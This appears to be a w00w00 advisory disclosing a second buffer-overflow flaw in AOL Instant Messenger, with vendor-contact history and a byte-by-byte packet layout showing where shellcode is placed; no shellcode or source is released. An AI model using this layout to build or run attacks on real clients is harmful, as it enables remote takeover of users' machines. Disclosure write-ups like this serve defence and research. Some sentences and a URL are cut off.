AOL Instant Messenger is still vulnerable to a serious overflow, as
discovered by John Hennessy while tweaking our example exploit,
w00aimexp. A few simple modifications and it's the same thing, all
over again.

We'd like to raise attention to the fact that, despite the past press
coverage on how difficult it was to communicate serious problems to
AOL, nothing appears to have changed. John first contacted AOL the
same way we did 4 months ago and got no response, so he passed the
info on to us. We used the contact information we gleaned from the
last escapade and informed AOL of the problem. They appear to have
taken notice by filtering on the server-side, so we give them kudos;
however, we were only able to get this fixed because we had the
benefit of non-publicly available information about who to talk to.
Had AOL taken heed from the first time this happened, John wouldn't
have had to reach out to us in order to report this egregious bug.
For that, we are disappointed, and once again insist that vendors
NEED to make it easier to report vulnerabilities if they are at all
interested in protecting their customers from less inhibited,
malicious individuals.

Therefore, we recommend users switch to an Instant Messaging provider
that has well-defined venues for reporting vulnerabilities.


This vulnerability is almost identical to the previous one and simply
affects a different mechanism (AddExternalApp instead of

AOL Instant Messenger (AIM) has a major security vulnerability in all
stable (non-beta) versions dating back to 4.2. This vulnerability
will allow remote penetration of the victim's system without any
indication as to who performed the attack. There is no opportunity
to refuse the request. This does not affect the non-Windows
versions, because the non-Windows versions currently do not yet
support the feature that this vulnerability occurs in.

This particular vulnerability results from an overflow in the code
that parses a request to run an external application. This works with
any TLV type > 0x2711, because 0x2711 is filtered on the AIM server
side from the first vulnerability we reported. It appears that we
were correct in our original advisory when we stated, "This may be
more generic and exploitable through other means, but AOL has not
released enough information about their protocol for us to be able to
determine that."

NOTE: On the points of full disclosure and vendor reporting, w00w00
would like to encourage folks to read the IETF draft "Security Through
Obscurity Considered Dangerous" by Steven M. Bellovin and Randy Bush
of AT&T Research, available at:


This has the same implications as the original advisory, so I will
include the paragraphs from the first advisory:
AOL Instant Messenger ( has over 100 million
users. The implications of this vulnerability are huge and leave
the door wide open for a worm not unlike those that Microsoft
Outlook, IIS, et al. have all had (Melissa, ILOVEYOU, CodeRed,
Nimda, etc.). An exploit could download itself off the web,
determine the buddies of the victim, and then attack them also.
Given the general nature of social networks and how they are
structured, we predict that it wouldn't take long for such an
attack to propagate.

The particular overflow described supra allows a payload can be
several thousand bytes long, which leaves lots of room for
creative shellcode. In addition, the shellcode can have null
bytes in it.


The differences between this in the first one are:
1. Using TLV type > 0x2711 instead of 0x2711
2. Using AddExternalApp instead of AddGameRequest
3. The offset to EIP for this vulnerability is shifted down 200

Since the code is so similar and this is already filterede, we
won't be releasing additional source code.

FLAP header (6 bytes)
[x2a] '*' (magic number)
[x02] channel (data)
[x00x11] seqnum number
[x07x87] packet length (1927 bytes)

SNAC header (10 bytes)
[x00x04] SNAC family (message)
[x00x06] SNAC type (outgoing message)
[x00x00] SNAC flags (none)
[x00x00x00x09] SNAC ID

[xa4x98xa3x56x54xbfxf2xfd] cookie

[x00x02] SNAC channel (data)

[x0c] victim screen name length
[xXXxXXxXXxXXxXXxXXxXXxXXxXXxXXxXXxXX] victim screen name

Now a set of TLV data types. There is a base container, type 0x05,
that contains everything else. Inside of this are several smaller
containers, with each TLV type following immediately after the
previous. If those are misaligned, you'll receive a "busted SNAC
payload" error.

[x00x05] TLV type (0x05)
[x07x62] TLV length (1890 bytes)

[x00x00] cookie marker
[xa4x98xa3x56x54xbfxf2xfd] cookie

Capability used to exploit this libfaim calls it (SAVESTOCKS):

[x00x0a] TLV type (0x0a)
[x00x02] TLV length (2 bytes)
[x00x01] TLV data

[x00x0f] TLV type (0x0f)
[x00x00] TLV length (0)

[x00x0e] TLV type (0x0e)
[x00x02] TLV length (2 bytes)
["en"] TLV data (language)

[x00x0d] TLV type (0x0d)
[x00x08] TLV length (8 bytes)
["us-ascii"] TLV data (charset)

[x00x0c] TLV type (0x0d)
[x00x06] TLV length (6 bytes)
["w00w00"] TLV data (game's name?)

[x00x03] TLV type (0x03)
[x00x04] TLV length (4 bytes)

[x00x05] TLV type (0x05)
[x00x02] TLV length (2 byte)

[x00x07] TLV type (0x07)
[x00x38] TLV length (56 bytes)

[x27x12] TLV type (0x2712)
[xXXxXX] TLV length (22 + length of shellcode)
x54x00x00x00x0bx00x09 + shellcode starts here]


AOL is blocking this on the server side. Hopefully they'll
also produce client side fixes. We'll have to wait and see how
long it takes for someone to find another way around the filter.


w00w00 would like to thank John Hennessey for informing us of
the problem after his attempts failed.